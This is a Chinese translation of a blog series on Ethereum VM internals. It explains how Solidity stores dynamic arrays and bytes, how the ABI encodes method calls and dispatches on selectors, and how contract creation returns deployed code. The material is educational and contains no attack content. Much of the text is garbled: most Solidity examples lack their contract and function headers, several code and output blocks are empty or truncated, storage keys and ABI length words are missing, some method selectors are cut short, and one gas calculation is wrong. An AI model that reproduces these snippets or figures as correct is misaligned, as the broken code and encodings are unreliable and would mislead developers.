```

如果一个值大于 32 字节，则您以 32 字节为增量支付存储费用。

## Dynamic Arrays Are Mapping++

在典型的语言中，数组只是一起存放在内存中的项列表。假设您有一个包含 100 个 `uint8` 元素的数组，那么它将占用 100 个字节的内存。在这种机制下，将整个数组批量加载到 CPU 缓存中并循环访问这些项目是很便宜的。

对于大多数语言，数组比映射便宜。然而，对于 Solidity，数组是更昂贵版本的映射。数组的项将在存储中按顺序排列，例如：

```shell
0x290d...e563
0x290d...e564
0x290d...e565
0x290d...e566
```

但请记住，对这些存储槽的每次访问实际上都是在数据库中进行键值查找。访问一个数组元素与访问映射元素没有什么不同。

考虑 `[]uint256` 类型，它本质上与 `mapping(uint256 => uint256)` 相同，并添加了使其“类似数组”的特性：

* `length` 表示有多少个项；
* 边界检查。读取和写入大于长度的索引时抛出错误(error)；
* 比映射更复杂的存储打包行为；
* 缩小数组时自动清零未使用的存储槽；
* 对 `bytes` 和 `string` 进行特殊优化，使短数组（小于 31 字节）的存储效率更高。

## Simple Array

让我们看一个存储三个项的数组：

// c-darray.sol

	uint256[] chunks;

	function

C() {
		chunks.push(0xAA);
		chunks.push(0xBB);
		chunks.push(0xCC);
	}
}
```

数组访问的汇编代码太复杂而无法追踪。让我们使用 Remix 调试器来运行合约。

在模拟结束时，我们可以看到使用了 4 个存储槽。

```shell
key: 0x0000000000000000000000000000000000000000000000000000000000000000
value: 0x0000000000000000000000000000000000000000000000000000000000000003

key: 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
value: 0x00000000000000000000000000000000000000000000000000000000000000aa

key: 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564
value: 0x00000000000000000000000000000000000000000000000000000000000000bb

key: 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565
value: 0x00000000000000000000000000000000000000000000000000000000000000cc
```

`chunks` 变量的位置为 `0x0`，用于存储数组的长度（`0x3`）。哈希变量的位置以找到存储数组数据的地址：

```shell
# position = 0
>>> keccak256(bytes32(0))
'290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563'
```

数组中的每一项都是从这个地址（`0x29..63`、`0x29..64`、`0x29..65`）开始按顺序排列的。

## Dynamic Array

Packing

所有重要的打包行为是怎么样的？数组优于映射的一个优点是打包是可以使用的。`uint128[]` 数组的四个项目正好适合两个存储槽（加上 1 用于存储长度）。

考虑：

	uint128[] s;

		s.length = 4;
		s[0] = 0xAA;
		s[1] = 0xBB;
		s[2] = 0xCC;
		s[3] = 0xDD;
	}
}
```

在 Remix 中运行这个，最后的存储是这样的：

```shell
value: 0x0000000000000000000000000000000000000000000000000000000000000004

value: 0x000000000000000000000000000000bb000000000000000000000000000000aa

value: 0x000000000000000000000000000000dd000000000000000000000000000000cc
```

正如预期的那样，只使用了 3 个存储槽。长度再次存储在 `0x0`，即存储变量的位置。四个项打包在两个独立的存储槽中。这个数组的起始地址是变量位置的哈希值：

```shell
```

现在，地址每两个数组元素递增一次。看起来不错！

但是汇编代码本身并没有得到很好的优化。由于只使用了两个存储槽，我们希望优化器使用两个 `sstore`

进行赋值(assignment)。不幸的是，由于引入了边界检查（和其他一些东西），因此无法优化 `sstore` 指令。

四个 `sstore` 指令用于赋值(assignment)：

```shell
/* "c-bytes--sstore-optimize-fail.sol":105:116  s[0] = 0xAA */
sstore
/* "c-bytes--sstore-optimize-fail.sol":126:137  s[1] = 0xBB */
sstore
/* "c-bytes--sstore-optimize-fail.sol":147:158  s[2] = 0xCC */
sstore
/* "c-bytes--sstore-optimize-fail.sol":168:179  s[3] = 0xDD */
sstore
```

## Byte Arrays & String

`bytes` 和 `string` 是分别针对字节(bytes)和字符(characters)进行优化的特殊数组类型。如果数组的长度小于 31 字节，则只使用一个存储槽来存储整个事物。较长字节数组的表示方式与普通数组大致相同。

让我们看看一个短字节数组的作用：

// c-bytes--long.sol

	bytes s;

		s.push(0xAA);
		s.push(0xBB);
		s.push(0xCC);
	}
}
```

由于数组只有 3 个字节（小于 31 个字节），它只占用一个存储槽。在 Remix 中运行，存储如下：

```shell
value: 0xaabbcc0000000000000000000000000000000000000000000000000000000006
```

数据 `0xaabbcc...` 从左到右存储。后面的 `0` 是空数据。最后一个字节 `0x06` 是数组的编码长度。公式为 `encodedLength / 2 = length`。在这种情况下，实际长度为 `6 / 2 = 3`。

字符串的工作方式完全相同。

## A Long Byte Array

如果数据量大于 31 字节，则字节数组类似于

`[]byte`。让我们看一下 128 字节长的字节数组：

	bytes s;

		s.length = 32 * 4;
		s[31] = 0x1;
		s[63] = 0x2;
		s[95] = 0x3;
		s[127] = 0x4;
	}
}
```

在 Remix 中运行，我们看到存储中使用了四个插槽：

```shell
0x0000...0000
0x0000...0101

0x0000...0001

0x0000...0002

0x0000...0003

0x0000...0004
```

存储槽 `0x0` 不再用于存储数据。整个槽现在存储编码的数组长度。要获得实际长度，请执行 `length = (encodedLength - 1) / 2`。在这种情况下，长度为 `128 = (0x101 - 1) / 2`。实际字节存储在 `0x290d...e563` 中，并且依次存储在后面的插槽中。

字节数组的汇编代码很大。除了正常的边界检查和数组大小调整之外，它还需要对长度进行编码/解码，并注意在长字节数组和短字节数组之间进行转换。

> 为什么要将长度编码？因为它的完成方式，有一个简单的方法来测试一个字节数组是短的还是长的。请注意，长数组的编码长度总是奇数，短数组则是偶数。汇编代码只需要查看最后一位，看看它是零（偶数/短）还是非零（奇数/长）。

深入了解 Solidity 编译器的内部工作原理，我们发现熟悉的数据结构（如映射和数组）与传统的编程语言完全不同。

回顾一下：

* 数组就像映射，效率不高。
* 比映射更复杂的汇编代码。
* 较小类型（byte，uint8，string）比映射有着更高的存储效率。
* 汇编没有很好地优化。即使使用打包，每次赋值也有一个 `sstore`。

EVM 存储是一个键值对数据库，很像 git。如果你改变任何东西，根节点的校验和就会改变。如果两个根节点的校验和相同，则保证存储的数据相同。

要了解 Solidity 和 EVM 的奇特之处，请想象数组的每个元素都是 git 仓库中自己的文件。当你改变一个数组元素的值时，你实际上是在创建一个

git commit。当遍历一个数组时，你不能一次加载整个数组，你必须查看仓库并分别找到每个文件。

不仅如此，每个文件限制为 32 个字节！因为我们需要将数据结构分割成 32 字节的块，Solidity 的编译器由于各种逻辑和优化技巧而变得复杂，所有这些都是在汇编中完成的。

然而，32 字节的限制完全是任意的。背后的键值存储可以使用键存储任意数量的字节。也许将来我们可以添加一条新的 EVM 指令来使用键存储任意字节。

目前，EVM 存储是一个装作(pretend) 32 字节数组的键值数据库。

> 请参阅 [ArrayUtils::resizeDynamicArray](https://github.com/ethereum/solidity/blob/3b07c4d38e40c52ee8a4d16e56e2afa1a0f27905/libsolidity/codegen/ArrayUtils.cpp#L624) 以了解编译器在调整数组大小时所做的事情。通常数据结构将作为标准库的一部分在语言中完成，但在 Solidity 中，它被嵌入到编译器中。

# 深入以太坊虚拟机 Part4 — 智能合约外部方法调用

> 原文：[How To Decipher A Smart Contract Method Call | by Howard | Sep 18, 2017](https://medium.com/@hayeah/how-to-decipher-a-smart-contract-method-call-8ee980311603)

在本系列的前几篇文章中，我们已经了解了 Solidity 如何表示 EVM 存储中的复杂数据结构。但是，如果无法与之交互，数据将毫无用处。智能合约是数据与外界之间的中介。

在本文中，我们将了解 Solidity 和 EVM 如何使外部程序能够调用合约的方法并导致其状态发生变化。

“外部程序”不限于 DApp/JavaScript。任何可以使用 HTTP RPC 与以太坊节点通信的程序都可以通过创建交易与部署在区块链上的任何合约进行交互。

创建一个交易就像发出一个 HTTP 请求。Web 服务器将接受您的 HTTP 请求并对数据库进行更改。交易会被网络接受，并且底层区块链扩展到包括状态变化。

交易之于智能合约就像 HTTP 请求之于 Web 服务一样。

如果对 EVM 汇编和 Solidity 数据表示不熟悉，请参阅本系列之前的文章以了解更多信息：

* [深入以太坊虚拟机 Part1 — 汇编与字节码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part1.md)
* [深入以太坊虚拟机 Part2 — 固定长度数据类型的表示 ](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part2.md)
* [深入以太坊虚拟机 Part3 — 动态数据类型的表示](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part3.md)

## Contract Transaction

让我们看一个将状态变量设置为 `0x1`​ 的交易。我们要与之交互的合约具有变量 `a`​ 的 setter 和

getter：

	uint256 a;

	function setA(uint256 _a) {
		a = _a;
	}

	function getA() returns(uint256) {
		return a;
	}
}
```

该合约部署在测试网络 Rinkeby 上。随意使用地址 [0x62650ae5...](https://rinkeby.etherscan.io/address/0x62650ae5c5777d1660cc17fcd4f48f6a66b9a4c2) 的 Etherscan 检查它。

我创建了一个调用 `setA(1)`​ 的交易。在地址 [0x7db471e5...](https://rinkeby.etherscan.io/tx/0x7db471e5792bbf38dc784a5b983ee6a7bbe3f1db85dd4daede9ee88ed88057a5) 处检查此交易。

交易的输入数据为：

```shell
0xee919d500000000000000000000000000000000000000000000000000000000000000001
```

对于 EVM，这只是 36 字节的原始数据。它作为 `calldata`​ 未经处理传递给智能合约。如果智能合约是一个 Solidity 程序，那么它将这些输入字节解释为一个方法调用，并为 `setA(1)`​ 执行适当的汇编代码。

输入数据可以分解为两个子部分：

```shell
# The method selector (4 bytes)
0xee919d5
# The 1st argument (32 bytes)
00000000000000000000000000000000000000000000000000000000000000001
```

前四个字节是方法选择器(method selector)。其余的输入数据是 32 字节的块的方法参数。在这个例子中，只有 1 个参数，即值 `0x1`​。

方法选择器是方法签名的 kecccak256 哈希。在这个例子中，方法签名是 `setA(uint256)`​，它是方法的名称及其参数的类型。

让我们用 Python 计算方法选择器。首先，哈希方法签名：

```shell
# Install pyethereum

https://github.com/ethereum/pyethereum/#installation
> from ethereum.utils import sha3
> sha3("setA(uint256)").hex()
'ee919d50445cd9f463621849366a537968fe1ce096894b0d0c001528383d4769'
```

然后取哈希的前 4 个字节：

```shell
> sha3("setA(uint256)")[0:8].hex()
'ee919d50'
```

> 注意：每个字节由 Python 十六进制字符串中的 2 个字符表示

## The Application Binary Interface (ABI)

就 EVM 而言，交易的输入数据（`calldata`​）只是一个字节序列。 EVM 没有对调用方法的内置支持。

智能合约可以选择通过结构化方式处理输入数据来模拟方法调用，如上一节所示。

如果 EVM 上的语言都同意如何解释输入数据，那么它们可以轻松地相互操作。[合约应用程序二进制接口](https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI#formal-specification-of-the-encoding) (ABI) 指定了一个通用的编码方案。

我们已经看到了 ABI 如何编码像 `setA(1)`​ 这样的简单方法调用。在后面的部分中，我们将看到如何对具有更复杂参数的方法调用进行编码。

## Calling A Getter

如果你调用的方法改变了状态，那么整个网络都必须同意。这将需要交易，并且会花费你的 gas。

像 `getA()`​ 这样的 getter 方法不会改变任何东西。我们可以将方法调用发送到本地以太坊节点，而不是要求整个网络进行计算。`eth_call`​ RPC 请求允许您在本地模拟交易。这对于只读方法或 gas 费使用估计很有用。

`eth_call`​ 类似于缓存的 HTTP GET 请求。

* 它不会改变全球共识状态。
* 本地区块链（“缓存”）可能稍稍过时。

让我们使用 `eth_call`​ 来调用 `getA`​ 方法，得到状态 `a`​ 作为返回。首先，计算方法选择器：

```shell
>>>

sha3("getA()")[0:8].hex()
'd46300fd'
```

由于没有参数，输入数据本身就是方法选择器。我们可以向任何以太坊节点发送 `eth_call`​ 请求。在本例中，我们将请求发送到 infura.io 托管的公共以太坊节点：

```shell
$ curl -X POST \
-H "Content-Type: application/json" \
"https://rinkeby.infura.io/YOUR_INFURA_TOKEN" \
--data '
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "eth_call",
  "params": [
    {
      "to": "0x62650ae5c5777d1660cc17fcd4f48f6a66b9a4c2",
      "data": "0xd46300fd"
    },
    "latest"
  ]
}
'
```

EVM 执行计算并返回原始字节作为结果：

```shell
{
"jsonrpc":"2.0",
"id":1,
        "result":"0x0000000000000000000000000000000000000000000000000000000000000001"
}
```

根据 ABI，字节应该被解释为值 `0x1`​。

## Assembly For External Method Calling

现在让我们看看编译后的合约如何处理原始输入数据以进行方法调用。考虑一个定义了 `setA(uint256)`​ 的合约：

// call.sol

	uint256 a;

	// Note: `payable` makes the assembly a bit simpler
	function setA(uint256 _a) payable {
		a = _a;
	}
}
```

编译：

```shell
solc --bin --asm --optimize call.sol
```

被调用方法的汇编代码在合约主体中，组织在 `sub_0`​ 下：

```shell
    mstore(0x40, 0x60)
    and(div(calldataload(0x0),

0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
    0xee919d50
    dup2
    eq
    tag_2
    jumpi
  tag_1:
    0x0
    dup1
    revert
  tag_2:
    tag_3
    calldataload(0x4)
    jump(tag_4)
  tag_3:
    stop
  tag_4:
      /* "call.sol":95:96  a */
    0x0
      /* "call.sol":95:101  a = _a */
    dup2
    swap1
    sstore
  tag_5:
    pop
    jump // out

auxdata: 0xa165627a7a7230582016353b5ec133c89560dea787de20e25e96284d67a632e9df74dd981cc4db7a0a0029
}
```

有两段样板代码与本次讨论无关，但仅供参考(FYI)：

* 最顶部的 `mstore(0x40, 0x60)`​ 保留内存中的前 64 字节用于 sha3 哈希。无论合约是否需要，这始终存在。
* 最底部的 `auxdata`​ 用于验证发布的源代码与部署的字节码是否相同。这是可选的，但已包含在编译器中。

让我们将剩余的汇编代码分成两部分以便于分析：

1. 匹配选择器并跳转到方法。
2. 加载参数，执行方法，并从方法返回。

首先，用于匹配选择器的带注释汇编：

```shell
// Load the first 4 bytes as method selector
and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)

// if selector matches `0xee919d50`, goto setA
0xee919d50
dup2
eq
tag_2
jumpi

// No matching method. Fail & revert.
tag_1:
  0x0
  dup1
  revert

// Body of setA
tag_2:
  ...
```

除了在开始时从 call data 中加载 4 个字节的 bit-shuffling 外，都很简单。为清楚起见，低级伪代码中的汇编逻辑如下：

```shell
methodSelector = calldata[0:4]

if

methodSelector == "0xee919d50":
  goto tag_2 // goto setA
else:
  // No matching method. Fail & revert.
  revert
```

实际方法调用的注释汇编：

```shell
// setA
tag_2:
  // Where to goto after method call
  tag_3

  // Load first argument (the value 0x1).
  calldataload(0x4)

  // Execute method.
  jump(tag_4)
tag_4:
  // sstore(0x0, 0x1)
  0x0
  dup2
  swap1
  sstore
tag_5:
  pop
  // end of program, will goto tag_3 and stop
  jump
tag_3:
  // end of program
  stop
```

在进入方法部分之前，汇编做了两件事：

1. 保存方法调用后返回的位置。
2. 将 call data 中的参数加载到堆栈上。

在低级伪代码中：

```shell
// Saves the position to return to after method call.
@returnTo = tag_3

tag_2: // setA
  // Loads the arguments from call data onto the stack.
  @arg1 = calldata[4:4+32]
tag_4: // a = _a
  sstore(0x0, @arg1)
tag_5 // return
  jump(@returnTo)
tag_3:
  stop
```

将两个部分结合在一起：

```shell

if methodSelector == "0xee919d50":
else:
  // No matching method. Fail.
  revert

tag_2: // setA(uint256 _a)
  @arg1 = calldata[4:36]
tag_3:
  stop
```

> Fun trivia：revert 的操作码是

`fd`​。但是您不会在黄皮书中找到它的规范，也不会在代码中找到它的实现。事实上，`fd`​ 并不真实存在！这是一个无效的操作。当 EVM 遇到无效操作时，它会放弃并恢复状态作为副作用 (revert state as a side-effect)。

## Handling Multiple Methods

Solidity 编译器如何为具有多种方法的合约生成汇编代码？

	uint256 a;
	uint256 b;

		a = _a;
	}

	function setB(uint256 _b) {
		b = _b;
	}
}
```

简单。只是一个接一个的更多的 `if-else`​ 分支：

```shell
// methodSelector = calldata[0:4]

// if methodSelector == 0x9cdcf9b
0x9cdcf9b
dup2
eq
tag_2 // SetB
jumpi

// elsif methodSelector == 0xee919d50
dup1
eq
tag_3 // SetA
jumpi
```

在伪代码中：

```shell

if methodSelector == "0x9cdcf9b":
  goto tag_2
elsif methodSelector == "0xee919d50":
  goto tag_3
else:
  // Cannot find a matching method. Fail.
  revert
```

## ABI Encoding For Complex Method Calls

对于方法调用，交易输入数据的前四个字节始终是方法选择器。然后方法参数以 32 字节为单位跟在后面。 [ABI 编码规范](https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI) 详细说明了如何对更复杂类型的参数进行编码，但阅读起来可能会非常痛苦。

学习 ABI

编码的另一个策略是使用 [pyethereum 的 ABI 编码函数](https://github.com/ethereum/pyethereum/blob/4e945e2a24554ec04eccb160cff689a82eed7e0d/ethereum/abi.py) 来研究不同类型的数据是如何编码的。我们将从简单的案例开始，然后构建更复杂的类型。

首先，导入 `encode_abi`​ 函数：

```python
from ethereum.abi import encode_abi
```

对于具有三个 uint256 参数的方法（例如 `foo(uint256 a, uint256 b, uint256 c)`​），编码参数只是一个接一个的 uint256 数字：

```shell
# The first array lists the types of the arguments.
# The second array lists the argument values.
> encode_abi(["uint256", "uint256", "uint256"],[1, 2, 3]).hex()
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000003
```

小于 32 字节的类型被填充到 32 字节：

```shell
> encode_abi(["int8", "uint32", "uint64"],[1, 2, 3]).hex()
```

对于固定大小的数组，元素也是 32 字节的块（必要时填充零），一个接一个地放置：

```shell
> encode_abi(
  
  ["int8[3]", "int256[3]"],
   [[1, 2, 3], [4, 5, 6]]
).hex()

// int8[3]. Zero-padded to 32 bytes.

// int256[3].
0000000000000000000000000000000000000000000000000000000000000004
0000000000000000000000000000000000000000000000000000000000000005
0000000000000000000000000000000000000000000000000000000000000006
```

## ABI Encoding for Dynamic Arrays

ABI 引入了一个间接层(layer of indirection)来编码动态数组，遵循称为 [头尾编码(head-tail encoding)](https://github.com/ethereum/pyethereum/blob/4e945e2a24554ec04eccb160cff689a82eed7e0d/ethereum/abi.py#L735-L741) 的方案。

这个思想是动态数组的元素被打包在交易 calldata 的尾部。参数（“head”）是对数组元素所在的 calldata 的引用。

如果我们调用具有 3 个动态数组的方法，则参数编码如下（为清楚起见添加了注释和换行符）：

```shell
  ["uint256[]", "uint256[]", "uint256[]"],
  [[0xa1, 0xa2, 0xa3], [0xb1, 0xb2, 0xb3], [0xc1, 0xc2, 0xc3]]
).hex()

/************* HEAD (32*3 bytes) *************/
// arg1: look at position 0x60 for array

data
0000000000000000000000000000000000000000000000000000000000000060
// arg2: look at position 0xe0 for array data
00000000000000000000000000000000000000000000000000000000000000e0
// arg3: look at position 0x160 for array data
0000000000000000000000000000000000000000000000000000000000000160

/************* TAIL (128**3 bytes) *************/
// position 0x60. Data for arg1.
// Length followed by elements.
00000000000000000000000000000000000000000000000000000000000000a1
00000000000000000000000000000000000000000000000000000000000000a2
00000000000000000000000000000000000000000000000000000000000000a3

// position 0xe0. Data for arg2.
00000000000000000000000000000000000000000000000000000000000000b1
00000000000000000000000000000000000000000000000000000000000000b2
00000000000000000000000000000000000000000000000000000000000000b3

// position 0x160. Data for

arg3.
00000000000000000000000000000000000000000000000000000000000000c1
00000000000000000000000000000000000000000000000000000000000000c2
00000000000000000000000000000000000000000000000000000000000000c3
```

所以 `head`​ 有三个 32 字节的参数，指向尾部的位置，尾部包含三个动态数组的实际数据。

例如，第一个参数是 `0x60`​，指向 calldata 的第 96（`0x60`​）个字节。如果查看第 96 个字节，它是数组的开头。前 32 个字节是长度，后跟三个元素。

可以混合使用动态和静态参数。这是一个带有（`static`​、`dynamic`​、`static`​）参数的示例。静态参数按原样编码，而第二个动态数组的数据放在尾部：

```shell
  ["uint256", "uint256[]", "uint256"],
  [0xaaaa, [0xb1, 0xb2, 0xb3], 0xbbbb]
).hex()

// arg1: 0xaaaa
000000000000000000000000000000000000000000000000000000000000aaaa
// arg2: look at position 0x60 for array data
// arg3: 0xbbbb
000000000000000000000000000000000000000000000000000000000000bbbb

/************* TAIL (128 bytes) *************/
// position 0x60. Data for

arg2.
```

有很多零，但没关系。

## Encoding Bytes

字符串和字节数组也是头尾编码的。唯一的区别是字节被紧密地打包成 32 个字节的块，如下所示：

```shell
  ["string", "string", "string"],
  ["aaaa", "bbbb", "cccc"]
).hex()

// arg1: look at position 0x60 for string data
// arg2: look at position 0xa0 for string data
00000000000000000000000000000000000000000000000000000000000000a0
// arg3: look at position 0xe0 for string data

// 0x60 (96). Data for arg1
6161616100000000000000000000000000000000000000000000000000000000

// 0xa0 (160). Data for

arg2
6262626200000000000000000000000000000000000000000000000000000000

// 0xe0 (224). Data for arg3
6363636300000000000000000000000000000000000000000000000000000000
```

对于每个字符串/字节数组，前 32 个字节编码了长度，紧跟着是字节。

如果字符串大于 32 字节，则使用多个 32 字节块：

```shell
// encode 48 bytes of string data
ethereum.abi.encode_abi(
  ["string"],
  ["a" * (32+16)]
).hex()

0000000000000000000000000000000000000000000000000000000000000020

// length of string is 0x30 (48)
0000000000000000000000000000000000000000000000000000000000000030
6161616161616161616161616161616161616161616161616161616161616161
6161616161616161616161616161616100000000000000000000000000000000
```

## Nested Arrays

嵌套数组的每个嵌套都有一个间接寻址。

```shell
  ["uint256[][]"],
  [[[0xa1, 0xa2, 0xa3], [0xb1, 0xb2, 0xb3], [0xc1, 0xc2, 0xc3]]]
).hex()

// arg1: The outter array is at position 0x20.

// 0x20. Each element is the position of an

inner array.

// array[0] at 0x60

// array[1] at 0xe0

// array[2] at

0x160
```

是的，有很多零。

## Gas Cost & ABI Encoding Design

为什么 ABI 将方法选择器截断为仅 4 个字节？如果我们不使用 sha256 的全部 32 个字节，不同的方法是否会发生不幸的冲突？如果截断是为了节省成本，那么如果使用零填充浪费了更多字节，为什么还要在方法选择器中节省 28 个字节呢？

这两种设计选择似乎是矛盾的……直到我们考虑交易的 gas 费用。

* 每笔交易支付 21000。
* 交易的每个零字节数据或代码需要支付 4。
* 交易的每个非零字节数据或代码需要支付 68。

零值便宜 17 倍，因此零填充并不像看起来那么糟糕。

方法选择器是一个加密哈希，它是伪随机的。随机字符串往往具有大部分非零字节，因为每个字节只有 0.3% (1/255) 的机会为 0。

* `0x1`​ 填充到 32 字节需要 192 gas。（4 * 31 + 68）
* sha256 可能有 32 个非零字节，这大约需要 2176 gas。（32 * 68）
* sha256 被截断为 4 个字节将花费大约 272 gas。（32 * 4）

ABI 展示了另一个受 gas 费用结构激励的古怪低级设计示例。

## Negative Integers...

负整数通常使用称为[二进制补码](https://en.wikipedia.org/wiki/Two%27s_complement)的方案表示。 int8 编码类型的值 `-1`​ 将全部为 1 `1111 1111`​。

ABI 用 1 填充负整数，因此 `-1`​ 将被填充为：

```shell
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
```

小的负数大部分是 1，这会花费你很多 gas。

¯_(ツ)_/¯

##

Conclusion

要与智能合约交互，您需要向其发送原始字节。它会进行一些计算，可能会改变自己的状态，然后向您发送原始字节作为返回。方法调用实际上并不存在。这是 ABI 创造的集体幻觉(collective illusion)。

ABI 被指定为低级格式，但在功能上它更像是跨语言 RPC 框架的序列化格式。

我们可以在 DApp 和 Web App 的架构层之间进行类比：

* 区块链就像背后的数据库。
* 合约就像一个网络服务。
* 交易就像一个请求。
* ABI 是数据交换格式，类似于[协议缓冲区](https://en.wikipedia.org/wiki/Protocol_Buffers)。

# 深入以太坊虚拟机 Part5 — 智能合约创建过程

> 原文：[Diving Into The Ethereum VM Part 5 — The Smart Contract Creation Process | by Howard | Oct 24, 2017](https://medium.com/@hayeah/diving-into-the-ethereum-vm-part-5-the-smart-contract-creation-process-cb7b6133b855)

在本系列的前几篇文章中，我们学习了 EVM 汇编的基础知识，以及 ABI 编码如何允许外部世界与合约进行通信。在本文中，我们将了解如何从无到有创建合约。

本系列的前几篇文章（按顺序）。

* [深入以太坊虚拟机 Part4 — 智能合约外部方法调用](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md)

到目前为止，我们看到的 EVM 字节码很简单，只是 EVM 从上到下执行的指令，没有魔法。合约创建过程更有趣，因为它模糊了代码和数据之间的界限。

在学习如何创建合约时，我们会看到有时数据就是代码，有时代码就是数据。

戴上你最喜欢的巫师帽🎩

## A Contract's Birth

Certificate

让我们创建一个简单（而且完全没用）的合约：

// c.sol

}
```

编译它：

```shell
solc --bin --asm c.sol
```

字节码是：

```shell
60606040523415600e57600080fd5b5b603680601c6000396000f30060606040525b600080fd00a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
```

要创建此合约，我们需要通过对以太坊节点进行 [eth_sendtransaction](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sendtransaction) RPC 调用来创建交易。您可以使用 Remix 或 Metamask 来执行此操作。

无论您使用什么部署工具，RPC 调用的参数都类似于：

```json
{
  "from": "0xbd04d16f09506e80d1fd1fd8d0c79afa49bd9976",
  "to": null,
  "gas": "68653", // 30400,
  "gasPrice": "1", // 10000000000000
  "data": "0x60606040523415600e57600080fd5b603580601b6000396000f3006060604052600080fd00a165627a7a723058204bf1accefb2526a5077bcdfeaeb8020162814272245a9741cc2fddd89191af1c0029"
}
```

没有特殊的 RPC 调用或交易类型来创建合约。相同的交易机制也用于其他目的：

* 将以太币转移到账户或合约。
* 使用参数调用合约的方法。

根据您指定的参数，以太坊对交易的解释不同。要创建合约，`to`​

地址应为空（或省略）。

我用这个交易创建了示例合约：

[https://rinkeby.etherscan.io/tx/0x58f36e779950a23591aaad9e4c3c3ac105547f942f221471bf6ffce1d40f8401](https://rinkeby.etherscan.io/tx/0x58f36e779950a23591aaad9e4c3c3ac105547f942f221471bf6ffce1d40f8401)

打开 Etherscan，您应该看到该交易的输入数据是 Solidity 编译器生成的字节码。

在处理此交易时，EVM 会将输入数据作为代码执行。*Voila*，合同诞生了。

## What The Bytecode Is Doing

我们可以将上面的字节码分成三个单独的块：

```shell
// 部署代码 (Deploy code)
60606040523415600e57600080fd5b5b603680601c6000396000f300

// 合约代码 (Contract code)
60606040525b600080fd00

// 辅助数据 (Auxdata)
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
```

* 部署代码在创建合约时运行。
* 合约代码在合约创建后其方法被调用时运行。
* （可选）辅助数据是源代码的加密指纹，用于验证。这只是数据，从未由 EVM 执行。

部署代码有两个主要目标：

1. 运行构造函数，并设置初始存储变量（如合约所有者）。
2. 计算合约代码，并将其返回给 EVM。

Solidity 编译器生成的部署代码将字节码 `60606040525b600080fd00`​ 加载到内存中，然后将其作为合约代码返回。在这个例子中，“计算”只是将一大块数据读入内存。原则上，我们可以通过编程方式生成合约代码。

构造函数的确切作用取决于语言，但任何 EVM 语言都必须在最后返回合约代码。

## Contract Creation

那么在部署代码运行并返回合约代码之后会发生什么。以太坊如何根据返回的合约代码创建合约？

让我们一起深入研究源代码以了解详细信息。

我发现 Go-Ethereum

实现是查找所需信息的最简单参考。我们得到正确的变量名、静态类型信息和符号交叉引用。Try beating that, Yellow Paper!

相关的方法是 [evm.Create](https://sourcegraph.com/github.com/ethereum/go-ethereum@e9295163aa25479e817efee4aac23eaeb7554bba/-/blob/core/vm/evm.go#L301)，在 Sourcegraph 上阅读它（当您将鼠标悬停在变量上时会显示类型信息，非常棒）。让我们略读代码，省略一些错误检查和繁琐的细节。从上到下：

* 检查调用者是否有足够的余额进行转账：

```go
if !evm.CanTransfer(evm.StateDB, caller.Address(), value) {
	return nil, common.Address{}, gas, ErrInsufficientBalance
}
```

* 从调用者的地址生成(derive)新合约的地址（传入创建者账户的 `nonce`​）：

```go
contractAddr = crypto.CreateAddress(caller.Address(), nonce)
```

* 使用生成的合约地址创建新的合约账户（更改“世界状态 (word state)”StateDB）：

```go
evm.StateDB.CreateAccount(contractAddr)
```

* 将初始 Ether 捐赠(endowment)从调用者转移到新合约：

```go
evm.Transfer(evm.StateDB, caller.Address(), contractAddr, value)
```

* 将输入数据设置为合约的部署代码，然后使用 EVM 执行。`ret`​ 变量是返回的合约代码：

```go
contract := NewContract(caller, AccountRef(contractAddr), value, gas)
contract.SetCallCode(&contractAddr, crypto.Keccak256Hash(code), code)
ret, err = run(evm, snapshot, contract, nil)
```

* 检查错误。或者如果合约代码太大，则失败。收取用户

gas，然后设置合约代码：

```go
if err == nil && !maxCodeSizeExceeded {
	createDataGas := uint64(len(ret)) * params.CreateDataGas
	if contract.UseGas(createDataGas) {
		evm.StateDB.SetCode(contractAddr, ret)
	} else {
		err = ErrCodeStoreOutOfGas
	}
}
```

## Code That Deploys Code

现在让我们深入了解详细的汇编代码，看看在创建合约时“部署代码”如何返回“合约代码”。同样，我们将分析示例合约：

}
```

该合约的字节码分成不同的块：

```shell

```

部署代码的汇编是：

```shell
// Reserve 0x60 bytes of memory for Solidity internal uses.
mstore(0x40, 0x60)

// Non-payable contract. Revert if caller sent ether.
jumpi(tag_1, iszero(callvalue))
0x0
dup1
revert

// Copy contract code into memory, and return.
tag_1:
tag_2:
  dup1
  0x0
  codecopy
  0x0
  return
stop
```

跟踪上述汇编以返回合约代码：

```shell
// 60 36 (PUSH 0x36)
dataSize(sub_0)
  stack: [0x36]
dup1
  stack: [0x36

0x36]
// 60 1c == (PUSH 0x1c)
dataOffset(sub_0)
  stack: [0x1c 0x36 0x36]
0x0
  stack: [0x0 0x1c 0x36 0x36]
codecopy
  // Consumes 3 arguments
  // Copy `length` of data from `codeOffset` to `memoryOffset`
  // memoryOffset = 0x0
  // codeOffset   = 0x1c
  // length       = 0x36
0x0
  stack: [0x0 0x36]
  memory: [
    0x0:0x36 => calldata[0x1c:0x36]
  ]
return
  // Consumes 2 arguments
  // Return `length` of data from `memoryOffset`
  // memoryOffset  = 0x0
  // length        = 0x36
  stack: []
  memory: [
  ]
```

